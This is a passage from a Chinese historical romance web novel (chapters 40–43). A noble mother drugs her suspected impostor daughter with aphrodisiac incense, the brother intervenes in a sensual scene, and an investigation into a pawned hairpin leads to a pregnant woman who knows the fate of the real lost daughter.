高峻被他突如其来的话哽住,扭头不语。 谢珩不得不逼他一下,让他认清自己的心,他继续说:“何况以你的品性,在长安城士族之中,早就没什么清誉可言。” “你”高峻气得蹭一下跳起来,“九如,哪怕旁人不知,你总该知道我为人如何,我岂能同市井之中那些市井无赖、浮浪子弟相较。” 谢珩忽而笑了:“对啊,我知,但旁人未必知,公主更是不知,但她仍对你一见倾心,并未计较世俗坊间对你的看法。” 世人皆知高家大公子为人敞亮,可时时流连烟花之地的也是他,哪怕他去了之后仅仅是喝酒,可旁人怎会知晓。 大家只津津乐道:曾有几户对高峻有意的世家贵女,自听到这一传闻后便对其退避三舍了。 高峻被他堵的哑口无言。 谢珩说道:“何况,女子之贵,贵在德才,若仅以贞洁清白作为评判一个女子的标准,与市井之徒又有何异?《列女传》尚且记载齐姜促晋文之大业,我等还反不如太史公通达么。” 这一番话从谢珩口中说出,惊得高峻不由得瞪圆了眼:“那此话可是你说,若你以后的妻子亦是如此,我倒要看你到时如何自处。” 谢珩脑中霎时浮现沈昭那气鼓鼓的模样,心头像沁了蜜一般甜:“我自是不会让她受到任何伤害,若真有那日,我定同她共担风雨。” 他一向寡言少语,如今竟不吝啬对那女子的喜爱和维护。 高峻不住摇头啧啧称奇:“我如今倒是十分好奇,那个小字为昭的女子到底是何模样,能令你爱慕至此。” 谢珩笑着不语,其实他早就见过了。 高峻虽性子顽劣,到底不是不通情理之人,在心中更暗自将谢珩当做他的知己。 他虽然嘴上不饶人,到底在心里反复掂量、细细琢磨过他所言,正色道:“九如,委实是我浅薄,我往日不务功课,最讨厌书中那些大道理,确实不如你明理豁达,竟在虚名上纠结。”说罢他又饮一杯。 他们自小相伴长大,高峻性子直,口无遮拦,若是同他深聊几句,便知其心思亦最好猜,端看他的态度和行事,谢珩心中有了几分把握,知他并非对公主完全无情,只是还需有人逼他一逼,让他认清自己的心。 如此,他今日的任务算是了了,回去也好对沈昭有个交代。 他刚准备离开,高峻却反拉着他的手,神秘兮兮道:“九如,读书识礼我自不如你,但男女之事你可得好好向我讨教讨教。” 见他煞有其事,一副等着瞧好戏的模样,谢珩皱皱眉:“高兄,切莫胡言。” 高峻不消半刻便原形毕露,又恢复之前那副调笑模样,还欲指导谢珩一番,将谢珩堵在门口:“我可听闻你曾发怒将房内的通房丫鬟都遣出去了,这男女相处可不单是你情我愿一事,王家、李家那俩公子十六岁娶妻,至今无所出,其中的周折你可知?” 谢珩脸登时涨红了,拒绝道:“我不欲窥探别人私隐,对他们的事毫无兴致!” 高峻玩味地笑笑,瞧他这幅样子,难不成还让人家姑娘主动:“无关他人,只为你俩的事,你也不愿意听?若想长久不仅在于平日相处,更莫忽视了床笫一事, 我把你当亲兄弟才劝慰你一二,这可是我多年流连风月场所的经验,花了多少银子学的,机不可失时不再来啊,九如。” 他扯着他的衣袍将他拉到一旁坐下,俯在他耳畔细细低语,将自己所见所闻倾囊相授,谢珩的脸红得几欲滴血,其间向掌柜的付了银子,将前后隔间的雅座都包下,两人在酒楼一呆便是半日之久。 —— 夏目抚着日益变大的肚子,店小二在门外笃笃的敲门声令她心慌。 惊云以婚事为由请假,但他仍需*遮掩不能一直陪在她身旁,先一步回了长安,自他回去任职已过了月余,因着调理身体和付客栈房钱,开销颇多,他留下的银子所剩无几。 他们结亲本就匆忙,他给的礼单颇为丰厚,但到底并没有实打实地交与她手中,不过是红纸上一行行孤绝的字罢了,她连自己身上傍身的钱都花完了。 她曾提出同他一起回长安,但他总是遮掩推拒,饶是她再不愿相信,揣着明白装糊涂,亦不得不承认他确有事瞒他。 “姑娘,您还住不住了?”店小二的声音适时在门外响起。 夏目紧咬着下唇,从柜子里翻出她身上最后一支金簪,这枚簪子是成亲那日惊云所赠,哪怕她再珍重他的情谊,亦不比眼下她和孩子吃饱喝足来得重要。 肚子渐渐拢起,她行动受限,腿更肿的厉害,大夫出诊的诊金又是一笔钱,她轻叹一声,借着桌沿缓缓撑起身子,扶着肚子轻推开门,将金簪递给店小二:“小哥,我独自一人行动不便,烦请你帮我把这簪子当了吧。” 店小二本依着掌柜的吩咐,更不欲同她一个怀有身孕的女子为难,接过金簪,扶她坐下:“夫人,你住在我们客栈亦不是个长久之计,你家男人呢,他怎的忍心将妻儿独自留在这儿。” 见她哑然,店小二不欲多问,将金簪妥当地收入怀中:“夫人,您放心,这当铺的老板与我们家掌柜的相熟,我求掌柜的给您通融通融,也好多换些银钱。” 夏目应声谢过。 店小二不再多言,轻手轻脚地退出房内为其关上门,下楼时仍瞥了一眼,无奈叹气。 自惊云回左衙后,其他兄弟听说他回乡结亲,笑着抱怨他不请他们喝杯喜酒,惊云面上笑着敷衍,心思全然不在此。 他有意无意地接触了几个常伴谢珩身侧的人,暗暗探听国公府的事,才知那个假冒的谢家小姐一时风光无量,同宫中的长乐公主李玥都有私交,就连高家都有意同其结亲。 他气得咬紧牙根,竟让她一个骗子明晃晃地招摇撞骗,若是高谢两家结亲,哪怕日后真正的谢家小姐夏目回府,他一个金吾卫又如何比得过那相国家的公子,哪怕为了顾全两家名声,亦不会让夏目回府。 只怕真到了那时,假的亦是真的,那他这番筹谋算是全白费了。 谢珩的人一直没有放弃追查他的行踪,出了长安之后,他像过街老鼠一般带着夏目逃窜躲避。 哪怕此刻他回到了长安,谢珩的人仍私下监视他的一举一动,他受够了! 他明明才是晋国公府的贵婿,夏目才是谢怀瑾,何况他们还有了孩子,谢家不会不认这个孩子,这是他和夏目唯一的筹码,他需赶在高谢两家结亲之前将真相揭露。 他思虑了几个夜晚,轮值休息时,便有意无意在高府附近徘徊,因着谢珩的人还对他紧盯不舍,他不便直接对那个女骗子有所行动,只得暗中观察高义信,今晨一早便见高义信特意换了衣衫,向谢府递了拜帖。 他不由得握紧拳头,不能再继续等了。 “夫人,厨房熬了些秋梨膏,您要不要尝尝。”婢女手里举着托盘,柔声询问。 李立雯这几日本就让珩儿和瑾儿的事搅得心神不宁,长乐离宫又闹出这么大乱子,她好几夜都得好眠,眉间的纹路都清晰许多,她庆幸老夫人身子好后便去山中修行了,否则这些事齐齐涌上心头,只怕又得将她老人家气出毛病。 她摆摆手,毫无食欲:“拿下去吧,近几日让厨房少些荤腥,我闻着难受,都先退下吧。” “是。”婢女们齐声应下,缓步退出。 待门扉合拢后,一抹深色衣角略过窗沿,她径自往内间走去,欲去床榻上歇晌,刚掀开锦被,一抹凉意从屋外侵袭,她忽觉喉间一紧,眼前霎时出现一个人影,有力的大手贴在她的脖颈处,稍一用力便可让她气绝。 “夫人莫嚷。”眼前的人嗓音低沉,刻意压低声音,“惊了旁人,反倒不美。” 她指尖微颤,下垂眼睫盯着他的手,强装镇定:“阁下何人敢擅闯国公府,所欲为何?” 惊云不欲同她废话。 他绕了半天又搭上了银子,寻了几个地皮无赖才暂时阻住谢珩的人,若呆的久了反倒生疑,他直言:“如今在国公府的谢怀瑾并非是你亲生女儿,真正的谢怀瑾另有其人,若夫人不信,大可试上一试。” 留下一句话他闪身翻窗离开。 脖颈上的桎梏松开,李立雯泄气般的倒在床边,身上紧贴于肤的诃子都已然被汗浸湿,她不禁暗中揣测方才那人所言。 她这几日提心吊胆的事,终是有了另一个答案。 她思虑着那人话中的真伪,但见他并不欲下杀手,只作警示,又匆匆离开,若非熟知内情,又岂会特意偷潜入府告诉她个中原委。 心里暗暗松了一口气,若眼前的瑾儿是假的,那一切便说得通了。 珩儿断不会做违背人伦的事,既如此,那从最开始入府便是他们故意为之,也怪她自己太过大意,因着由珩儿带回便被他蒙了双眼,她本就是个骗子,自然可轻易躲过她的试探,何况其中还有珩儿相助呢。 但她又陷入了另一个僵局,国公府认回她已是板上钉钉的事,宴席办了,全长安城的人都知晓了,她又该如何寻一个合适的时机将此大白于天下呢。 真正的瑾儿又在何处。 但若任由他们胡闹下去,万一被有心之人发现,他们俩毕竟明面上仍是谢家的公子小姐,兄妹乱|伦,如此若是传扬出去,只怕谢家清誉尽毁,老夫人都会被他们二人活活气死。 她的脸先是一寸一寸白下去,继而又从脖颈漫上朱砂般的赤色,指尖被她紧紧掐入掌心。 妆台上的铜镜映出她扭曲的面容,她不允许!绝不能让这孽缘再续,绝不能再发生当年之事! 40-50 第41章 高峻那方忙着授人以渔,他弟弟同样没闲着。 自上次沈昭将茶树枝条送他研究,已过去数月,他翻遍了古籍又特意在长安城附近郊野寻了几户农家,向请教指点,终于有所得,他去晋国公府递上拜帖,欲将这一好消息告诉沈昭。 “快请进门。”沈昭欢喜地将拜帖放置一旁,简单梳妆后,径自去了前厅,本想出府相迎,高义信倒先一步到了。 自上次碧水湖畔一别,他醉心于研究茶树,除了去郊野田边同农夫请教一番,其他日子大多把自己关在后院,从不见客,一是因着他确实对此颇有兴致,二是他每每梦回,仍记得那夜火花之下她明眸善睐,却不容分说地拒了他。 他本以为经过这几月他忘得纯粹,再相见时只把她当做自家妹妹,可哪怕还未听到她的声音,仅因着要见她,心跳便错了几许,连呼吸都乱了方寸。 他隔着半丈远,躬身一礼:“谢姑娘。” 怕他再生误会,因着又托他帮忙研究茶树,沈昭本就心中满满歉意,见他亲自登门,她拿捏着分寸,恭恭敬敬对其回礼:“高公子。” 婢女们上了秋梨水,在旁随侍。 高义信稳下心神,适才开口:“谢姑娘,你之前所托的茶树枝,已扦插成活了七分,之前压条的几十株,眼下都生了龙须根。” 他声音不急不躁,像晒过的茶青般干燥温和,一如往昔。 “太好了,多谢高公子费心!”沈昭没料到真有所获,她本对此并不抱希望,见到高府的拜帖心中虽有一丝联想,但终究怕期望越大失望越大,听他如此说,竟有了几分把握。 但高义信遍揽群书,仍有忧虑,任何植物生长同气候、土壤、地形、水分皆密不可分,差之毫厘谬以千里,植物栽培虽不至于此,但仍不可忽视。 因长安城中无前人培植,便更增加了难度,其基质需保持湿润但又忌积水,长安城夏季多雨易积水,仅此一项,其实便不利于茶树生长,且茶树喜光但又忌强光直射,又需要充足的日照,这便更是为难。 虽是成活,但若想培育,只怕在长安城并不是最佳繁殖地,他毫不保留将此一一明说,让沈昭认真思量。 沈昭回忆着如今长安在舆图中的位置,她并不了解茶树的习性,但确实未在她生活的时代,听闻过此处有哪些名茶,倒是灵山寺再往西走,其中的玉靑绿茶远近闻名,据闻有百年的历史。 沈昭寻王管家去取舆图一览,她指着地图上玉青所在问道:“这是何处?” 高义信顺着她所指方向看去:“此处是同长安隔了两个州府的并州,我幼时同父兄去过,但并未久居,倒不知那边环境是否适合茶树生长。” 话题到这便止住了,他们都无法久居于并州,至于他手中那几株能否成活尚未可知。 沈昭本就请托于人,自然不会逼迫,况且这茶饮还未引入长安,茶树便更不急于一时。 茶树探讨暂时搁置,两人竟一时无言,念着快到晚膳时辰,出于礼貌,沈昭问道:“高公子若是无事,不如留下用饭,或者我们出去吃,感谢你费心费力帮我培育茶树。” “谢姑娘不必如此客气,于我而言不过举手之劳。”高义信婉拒的话刚说出口,外面便急匆匆走进一个婢女,对他们福了福身子,“高公子,夫人听闻您入府,邀您一同留下用膳。” 长辈之请,他自当不好拒绝,只道:“那先谢过夫人了。” 李立雯听下人来报,高义信入府寻谢怀瑾时,初闻气急,她占了怀瑾的身份,连怀瑾的亲事也要横插一脚,但她转瞬又生一念。 她不能看珩儿一错再错,今日之事太过突然,哪怕她心中有千万个设想,独独没料到谢珩会伙同外人一起骗她。 她亦顾及不了太多,既然他们不择手段,也莫怪她出此下策了。 —— 谢珩同高峻分开后,独自回了左衙,高峻所言于他心中久久激荡,他静坐在桌前消化,脸上的绯色却迟迟不褪,怀中高峻相赠之物如一块烙铁,灼得他心头发烫。 “将军,有急报。”金吾卫扯下信鸽脚上绑着的信笺,呈到他眼前。 若是将他与沈昭之事公开,他需得先处理好她的身份,真正的谢怀瑾生死不明,他等不到寻回她那日了,亦不想继续偷摸遮掩。 这几日,他计划着如何向母亲道明事情原委,能获她谅解。 一切原是他当初的私心,为了稳住祖母的病情,才让沈昭假扮他妹妹入府,亦是他先忘了礼数和分寸动情,但他仍忧心母亲会将此事怪罪在沈昭身上。 而他得到的这份急报恰巧又给他带了一线希望。 自御风家中财物失窃,他去黑市探查无果时,便让人特别留意周围当铺或市集中的货物流动,御风之物大多来自宫中御赐,若在世面流传,便可顺藤摸瓜,找到幕后黑手。 随着夏目将那枚金簪出手典当,御风之死亦渐渐有了眉目,他传令下去:“让人去查是何人将此物当了,务必要小心,切莫打草惊蛇。” 他又问向另一方跟着惊云的人马:“这几日惊云行踪如何?” “大人,我们一直跟着他,除了今晨,路上遇到几个无赖,阻了我们的路,一时跟丢了,不过很快我们又在兴庆街发现他,一直跟着并无异常。” 谢珩微眯起眼眸,这金簪在数十里之外的当铺发现,惊云身在长安,看似其中并无关联,但亦不可大意,他吩咐道:“继续跟着。” “是。” “算了,备马,我亲自去一趟。”他曾答应过沈昭会彻查御风的死因,哪怕不为着她,他也会给死去的御风一个交代,怕来往书信不便,误了时机,还是他亲自去稳妥些。 —— 李立雯让厨房备好菜,谋划得当后,匆匆赶去前厅。 适时,沈昭还同高义信就茶树一事继续商议,见她而来,两人纷纷起身。 “母亲。” “夫人,突然造访,是晚辈唐突了。” 李立雯径自坐在主座,当家主母的威仪赫赫,脸上虽带着笑意,却令人莫名心慌:“哪里的话,都是自家孩子,你们愿意常来走动走动,我自是再高兴不过了。” 明明还是同样的音容笑貌,依旧亲切地唤她瑾儿,可沈昭却胸口憋闷,觉得母亲今日同往常有所不同。 李立雯并未同她多言,对一旁的婢女眨眨眼,婢女恭敬地为高义信奉上一碗清饮:“这儿天凉了,喝些热的暖暖身子。” 只见这婢女只奉上一盏,高义信虽知不妥,但既在他人府中作客,他自不便多语,笑着应下,端起茶盏抿了一口,只比普通清水多了几分酸涩,并不可口。 沈昭端直身子,眼眸去向他那方斜斜看去,暗道:什么好喝的,竟舍不得多备一份。 婢女垂眼看着他茶盏中并无明显变化,对李立雯以眼神回之。 心领神会后,李立雯又道:“高公子可是不喜这口?” “并非,自是极好。”他仿若被夫子盯着的学童般,重话都不敢说一句,复又端起桌上的杯盏,一饮而尽。 如此,李立雯才彻底放心,高家同谢家同气连枝,她自不会对高义信不利,是以先施计让他饮下解药。 三人说说笑笑一同入座,李立雯只留下了体己的一位丫鬟,遣散了其他家仆,将春宁和夏安暂时安排出府采买,并吩咐任何人不得靠近后院,她们两人亦先服下催情香的解药。 丫鬟悄悄在一旁燃香,无色无味的香,只有一星光亮燃着,席间李立雯对她一如往常,沈昭收心,许是她一时胡思乱想罢了。 高义信拘束得很,并没有多吃,只一味笑着应和。 李立雯入席之前,思索良久,这骗子虽有错,但她入府后,毕竟着实令王府焕然一新,别的不论,老夫人的身子康健亦有她的一份功劳,珩儿念着她,她不欲将事做得太难堪。 总归催情香已下,哪怕没发生任何事,她亦百口莫辩。 用晚膳后,李立雯提议道:“高公子,我听闻你自小琴棋书画俱佳,不如同瑾儿手谈几局,指导一番。” 还不等他开口,沈昭先拒绝道:“不用了吧,母亲,我没有任何根基,只识得黑白两子,若真由高公子教我,怕是要把他气晕过去,何必耽误他的功夫呢。” 李立雯剜了她一眼,示意她噤声,只笑对着高义信。 她知高义信不会拒绝。 “承蒙夫人抬举,我亦只是懂个皮毛,可与谢姑娘下几局。”高义信说道。 李立雯笑着点头,命丫鬟端来棋盘棋子,送到沈昭的房间。 两人一时愣怔,高义信自知不妥,他怎可轻易踏足女子的闺房,这于礼不合,哪怕他仍然心中对她有意,但她已婉拒在先。 当他再去寻时,李立雯早回了房间,院中只余他们两人。 沈昭虽本不介意,但在长安城这几月,耳濡目染的熏陶中,亦知道此举不对,李立雯何至逼迫至此? 丫鬟伶俐地将棋盘棋子放在她闺房的桌上,逃似的离开了,但暗中并未走远,只躲在转角处,寻着时机,待药性发作,她将小姐关在屋内,借故引高义信离开。 毕竟母女一场,李立雯不想做得太难堪。 当下,高义信进退维谷,手攒紧攥住衣袍,如水的缎子几乎被他揉捻出一层层褶皱。 天色渐暗,他更有些不知所措。 沈昭解了他的尴尬,进屋拿出棋盘放置于院中的石桌上,饶是借着月色对弈也不能陷这他于困境。 但她此刻心中不安,春宁和夏安怎的一直未见:“高公子,天色尚早,不如我们在院中下几局吧。” “好。”高义信退了半步,撩袍入座。 沈昭不会下棋,心思不在其上,她暗暗观察周围一切,虽是后院,但平日有不少仆从婢女走动,可他们对弈的这段时间,莫说是人连只鸟都不见。 明明已过了盛夏,入了秋,可她却觉得格外燥热,体内的一股火沿着她全身血脉游走,灼得她微喘着气。 她莫名地想见谢珩,同他分开还不到一日,甚至上次分开她还带着气,可她就是想见他。 瞧着棋盘上黑白分明的棋子,却恍神仿佛看到他那双黑白分明的眸子,饱含深情地凝着她。 温热软滑的唇齿相接,她竟不自觉眯起眼眸,好似沉醉在他的怀中。 她口干得很,抬眸看到眼前高义信的浅唇,竟不觉想贴上去。 她猛地打了个激灵,察觉到事情不对,她竟对高义信有了非分之想。 李立雯会对她用毒么? 高义信见她迟迟不动,观她脸色愈发红润,关切问道:“谢姑娘,若是你身子不适,我们改日再下亦可。” 她身上忽冷忽热,一瞬好似如坠冰窟,冻得她忍不住裹紧衣裙,转瞬又仿佛沐浴在火海中,燥热难耐,全身都被这热火融化,越是反差,这热浪来得更凶。 她的手紧紧攥住身前的衣襟,颤抖着几欲将其撕碎。 “快走!”沈昭艰难说出几个字,生怕再迟一步酿出大祸,她支着身子拼尽最后一丝理智,径自往房中走。 “谢姑娘,要不要去请大夫?”见她脸色不对,身子都微微颤抖,关切之意一时大过君子之礼。 门扉大开,他本欲扶她进屋坐下,可沈昭却紧紧握着他的手臂,并未松开。 丫鬟在旁看得真切,心里着急的很,她记着夫人的安排,得先让小姐进屋后,她再悄声将门锁上,可事出突然,竟是高公子陪着一同入内了,她攥着手里的门锁不知该如何,犹豫间两人已入了房中。 沈昭抬手去抓桌上的杯盏,去浇灭身上的火,可茶壶空空,哪怕倒转过来仍未落下一滴。 高义信见状,忙说道:“谢姑娘,你稍候,我去倒水。” 可是她等不及了,她双腿软的不像她自己的,周遭的空气仿佛勾人的香,每吸入一口,她身体便多一分燥热,她的意识渐渐模糊,眼前浮现凌乱破碎的画面——温热的手掌扶过她的腰肢,炽热的呼吸烫在她颈侧,还有那些未发生的不可言说的亲密。 “谢姑娘,”见她瘫软在地,高义信上前去扶她,却被她反握住,口中言语化作唇间娇嗔的呻吟,挤出两个字:“快走。” 高义信瞬间被冻在原地,眼前人身上的甜香充盈在房内的每一个角落,将他包裹,他脑中嗡得空白一片,怔愣在原地。 他从未见过女子如此情态,还是他心仪之人,他一时慌了手脚,沈昭的柔夷攀在他手臂上,他忍着不去看,可那寸隔着衣衫都能感到的温软,让他慌了神,脖颈间霎时红透了。 突觉颈后一计刺痛,他眼前一黑,被身后的大手紧紧拖住,倒下的瞬间未碰到身下的沈昭分毫。 谢珩本带了人手快马加鞭前往隔壁州府,路过西市时,众人吃饭暂歇。 一笼笼包子散着热气,白嫩嫩地鼓起,经手一触又饱满地迅速弹回。 萦绕在他鼻息间的不是包子的肉香,反而是沈昭身上的甜香,他脑中霎时浮现她气鼓鼓将他推开的模样。 在金吾卫用饭的间隙,他回了一趟国公府,本欲将高峻的事告诉沈昭,让她暂且宽心,高峻嘴硬心软只怕动心了亦不自知,公主的事还有转机。 刚行至内院,却见一个丫鬟鬼鬼祟祟躲在转角处,向内张望,他直接拎着她来到沈昭房内,却见眼前一幕。 “少、少爷”丫鬟怔在原地,进退不能。 谢珩不知高义信提前服下解药,一把揪住他的衣领,寻了旁边的一个房间,将他扔了进去,又抬眸看向一旁的丫鬟。 他的目光恍若一把冷枪,直直射过来,丫鬟慌得跪在地上:“少爷,是夫人的安排,我夫人只是让我把门锁上。” 谢珩眼眸中像淬着寒冰,从牙缝出咬出几个字:“那便依着母亲安排回禀,今日之事若敢声张,形同此物。”说着挥剑削去锦帘一角,破碎的半块织锦缓缓落地。 “是,奴婢不敢。”丫鬟俯下身子不住地磕头,谢珩夺过她手中的锁,将她关在另一处,同高义信分隔开。 沈昭猛地咬住舌尖,强行逼着自己寻回理智,一股甜腥在唇舌间弥漫,却丝毫不减喉间的干热,体内的热意仍奔涌不息,她目光发花,却模糊中听到谢珩的声音。 如溺水之人抓住浮木一般,她扯着眼前深色虚影,试探道:“谢珩?” “别怕,有我在。” 第42章 谢珩将高义信和那个丫鬟安置好后,反手将门锁住,拉上所有的锦帘和帐幔。 暮色渐沉,整个屋子笼着一层暗纱,唯有女子浅浅的喘息声。 他将她打横抱起,轻轻放在床榻之上。 沈昭的玉臂环住他的脖颈,朱唇无意间滑过他的喉结,明明是她中了香,他的小腹却涌起一股热意。 谢珩将环在她腿弯间的手松开,她的手却揪着他的衣襟不放,细长如玉般的脖颈崩至一道自然的弧度,泛起海棠花色。 “别走,谢珩。”榻上的人嘴唇瓮动,吐出的却是连她都陌生的娇音。 但体内的热浪来得更加凶猛,一波猛似一波,她重新扯着他的衣袍,攀回他的脖颈,将唇贴上眼前的一抹浅红。 她只觉唇齿间呼出的气息皆是滚烫,他的面容在视线里模糊成一片潋滟光影,唯有他身上的沉香倒比催情香更甚,诱得她贴的更紧。 他曾久久贪恋她唇间的温软,可若换到床榻之上,便是连想都不曾奢想,他的呼吸不由得加重。 若是往日出任务中招时,最快的解毒方法便是划伤放血,以痛止欲,但仍要承受万蚁噬心的苦楚。 舌尖温软痴缠上来,他望着身下的人。 发髻散落,青丝如瀑,身下的衣襟半敞,露出半边雪白。环在他后颈的力道微微松了,她玉白的手慢慢攀上他前襟,欲探向更深处:“我想” 她的尾音被谢珩骤然落下的吻封住,紧紧握住她的手,将她的手紧握于身后,不似前几次的温润,他霸道地冲开她的唇齿,长驱直入。 她慌乱中扯住他腰间的蹀躞带,身下的温软起伏贴着他单薄的外袍。 谢珩动作一滞而后将她完全圈在身下,加深这个吻。 他情不自禁地松开桎梏住她的手,顺着她的脊背下滑,身下那抔刚化的雪彻底融在他怀里,任他灵巧的手指挑开她衣裙的系带。 微热的掌心贴上她后腰时,她口中低声呜咽。 “这床|笫之上的花样可多了去了。”白日高峻的话仍在谢珩耳边回旋。 谢珩猛地环住她的后腰,将她抱下榻,她双手环在他的颈后,两腿任由他托着,玉足勾缠在他身后,她的唇顺着他的鼻尖、下颌、锁骨,细细密密地往下亲吻。 他径自寻了一旁的水盆,匆匆净手,复又将她抱回去,薄唇擦过她的耳垂,低声轻语:“冒犯了。” 锦被上点点红梅绽放,一场燎原之火被落雨扑灭,一切都不是梦境。 谢珩自幼身边除了乳母,再无其他女子,未经过男女一事。 除了高峻口中那些虚无缥缈的技法,他只能试探着摸索,生疏羞涩,但他悟性极快,不消半刻便自得要领。 沈昭从先前的恍惚中渐渐回神,五感逐渐苏醒,她瞧着正在一旁洗脸净手的他,水打湿他的脸颊,却洗不净一路蔓延至脖颈的绯红。 “你”甫一开口,她的嗓音哑得不成样子,她虽然头脑昏昏沉沉,但仍虚虚记得她是如何在他身下化作一汪春水,甚至忍不住落泪,哭着求他,他指尖游走过的痕迹还在她身上暗暗发烫。 她猛地扯过锦被掩住面容,却吸入满肺他身上的沉香,羞得她连脚趾都蜷起来。 谢珩擦净双手,浅笑着向她走来,将人带被一同搂紧:“如今知道羞了,方才解我衣带时” “不许说!”沈昭伸手将他的嘴捂住,滑出锦被的香肩半露,她又猝然将手收回。 谢珩别过眼克制着不再去看,方才她虽得了解脱,可他却忍得难受,明明是她中了毒,可是他的身上如火一般热,怀中高峻相赠的“好物”他仍是没用。 她只残存几丝意志,他自然不能趁人之危,虽然她接受了他的心意,但还没下三书六聘,甚至还未得她的允准 沈昭亦别过脸,谢珩锁骨间带着未散的热意,几抹微红若隐若现。 窗扉缝间溜进一缕凉风,两人各自起身,将方才的旖旎搁下,整理好仪容,一同走出房。 李立雯提前布置妥当,并无人搅扰。 谢珩那一计下手并不轻,高义信至今未醒,他们两人便端了棋盘坐于院中。 沈昭:“母亲怎会对我用药,莫不是她想促成高谢两家的婚事,但”终究不是正道所为,她将后半句话咽下,并没有说出。 谢珩一时语塞,也无法猜透他母亲的心思,哪怕母亲刻意撮合沈昭和高义信,但此举未免太过急切和冒险,他如何也想不到母亲会用此阴损伎俩:“不若就依她们的计划行事,看看母亲究竟意欲为何。” “嗯。” 谢珩开门将丫鬟带出,丫鬟跪在一旁,低垂着头,将李立雯安排的首尾细细道来,原是不为两家联姻,只为让沈昭难堪。 他们两人对视一眼,不约而同想到一处,李立雯怀疑沈昭的身份 不,她应是笃定此人并非她的亲生女儿。 谢珩示意让丫鬟退下:“记得该说什么,不该说什么。” 丫鬟低着头应是,而后匆匆离开。 高义信醒后,见到他们兄妹二人,抚着疼痛难忍的后颈:“谢公子,令妹刚才”忆起之前那短短的肌肤相触,他的脸登时红透了。 “高公子,劳你挂念,我已经无碍了。”沈昭面上不显但仍心有余悸,若不是谢珩凑巧回府,若是那丫鬟来得晚一些,她不敢设想会发生何事。 “那便好。” 天色渐暗,府里燃起烛火,又一如往昔热闹,高义信告辞:“那不便叨扰,我先回府了。” —— 丫鬟跪在地上,依着谢珩交代,将她把高义信引出府,又将沈昭关在房中,她毒发的事一一回禀。 李立雯轻揉眉心,她事先安排妥当,该是不会有意外,她问道:“少爷呢?” 这个骗子明面上仍是谢家的小姐,她不会声张,做这一出戏无非让谢珩看明白眼前的人,助他认清自己的身份,断了不该有的心思罢。 丫鬟将身子俯得更低,生怕让她发现端倪:“奴,未见到少爷,少爷一早便出门了,奴婢不知他去了何处。” “罢了,退下吧。”李立雯头也未抬摆摆手,若非他们二人胡闹至此,她也不会出此下策。 她盼着谢珩回府,将此事讲与他听,可等了两天都不见他的身影。可她的心思全在谢珩身上,全然忘记了后院的沈昭,这几日也没现身。 有人来寻沈昭时,春宁借故推脱道,小姐身子不适,将自己锁在房中。 李立雯知她中了催情香,定然受了一番苦楚,也并未多问。 这几日谢珩同沈昭快马加鞭,赶去隔壁州府,依着当铺那枚金簪,找到还在客栈的夏目。 眼前的女子穿着一身素衣,小腹隆起,行走亦有些不便,见店小二带他们上楼,直接推开她的房门,惊得她手中的杯盏摔碎在地,她扶着桌案撑着身子站起:“你们是何人?” 谢珩将金簪扔在桌上,声色凛然:“这簪子可是你当的,这枚簪子你从何而来?” 她挺着肚子,一手扶腰,一手摸起桌上的金簪,疑惑地望向他们身后的店小二,店小二只摇头示意,不敢多言,他抬头就见这一队人马将客栈包围,这小本生意哪敢得罪官家。 沈昭上前扶她坐下,和气说:“姑娘,你莫怕,我们并无恶意,你可认识御风?” 夏目摇摇头,她从未听过这个名字,但他们身后之人的装扮她识得,这是金吾卫的铁甲,她曾见惊云穿过,威风神奇得很,她问道:“你们是我夫君的同僚,是不是他出了什么事?” 沈昭同谢珩彼此交换眼神,由她问道:“你的夫君也是金吾卫么,他是谁,怎的不邀我们喝一杯喜酒呢!” 谢珩此时才记起近几日以婚事请假的左衙之中唯有一人,他脑海中的名讳,正巧从眼前女子口中说出:“我夫君是惊云,我不知你们可曾听过他。” 虽然派去跟踪惊云的人无任何发现,但倒通过这名女子印证了惊云与御风家中被洗劫的事脱不了干系。 沈昭瞧着她被蒙在鼓里的样子,心中的火蹭一下燃起,她忍不住问道:“既然你们二人成亲,他为何将你独自丢在此处,他却在长安城中呢。” 夏目虽然对他的行踪有疑,依旧不忘帮他开脱:“他不过是念着我有身孕,舟车劳顿不便,所以先让我在此稳胎,前几日他还来信,说在村中修整房屋,过些时日他就会来接我回牛家村了。” 沈昭早将他视作薄情寡义的负心汉,并没有认真听她所言。 但谢珩听到“牛家村”这几个字,手腕猝然一抖,不由得看向夏目:“你家住牛家村?敢问姑娘芳龄,家中可有其他亲眷。” 夏目未做他想,一一道来:“我记不清我爹娘样貌了,幼时家里水患,我同他们走散,流落到牛家村,被附近好心人收留,便一直留在牛家村里了,隔壁王婶说我同她家姑娘身量差不多,便让我随着她姑娘的年岁,我大概同眼前这位姑娘差不多吧。” 沈昭知他曾去牛家村寻妹妹无*果,见他问得如此详细,她心中冉起新的希望,眼前这位女子莫非是谢怀瑾? 谢珩的亲妹妹! 第43章 夏目见面前的两人突然默了几息,掂量着自己是否说错话了,抿唇不语,但瞧他们的模样,又不似凶恶之徒。 沈昭视线在谢珩和这女子之间游走,端详着他们二人,看着眉眼像又不像。 谢珩问向夏目:“牛家村可还有与你年岁相当的孤女。” 这女子虽年龄相仿,但他的妹妹是在出游时走失,并未听说过水患,依这女子所言,她应不是谢怀瑾。 夏目听出他话中深意,原来这两人是来寻亲的,可她明眸中划过一丝哀伤:“我大概知道你所寻之人,可是她、她已经死了。” “我来到牛家村不久后,周围的邻居婶婶对我颇为照抚,我便在他们的帮衬下,在此安定下来,隔了数月又来了个姑娘,她来时慌慌张张、衣衫破损,受了特别大的惊吓,村头的王大夫为她诊治了近一年,她才能将将说出一句完整的话, 她本是王府里的小姐,却被人诱拐到青芒山,好不容易寻得机会从山中跑出,险些死在路上” 谢珩僵在原地,哪怕他寻了多年已提前有了盘算,但当谢怀瑾身死的消息经由他人之口说出时,他的心仿佛被抽打一般,面上强撑着温润眉目,但右手指甲早已深深掐入掌心。 觉察到他的情绪,沈昭轻挪步子,靠近他,她的指尖轻轻搭在他死死攥住的拳上,如雪覆刃,似要化开那铁铸般的坚硬和痛楚。 谢珩的手忽地一紧,而后终是无能为力地放开。 她的五指穿入他的指缝,两手相互握住,同他一起面对这个噩耗。 沈昭出声问道:“那她后来因何而死?” 夏目叹了口气,继续:“她受了不小的惊吓,村里的人虽能给我们多留口饭,但若想治病,便更为艰难,村里有些银钱的人从不在这儿看病,多进城去了,王大夫哪怕有心医她,却没有好的药材,只能上山寻些,过了两年多,她才完全记起曾经的事, 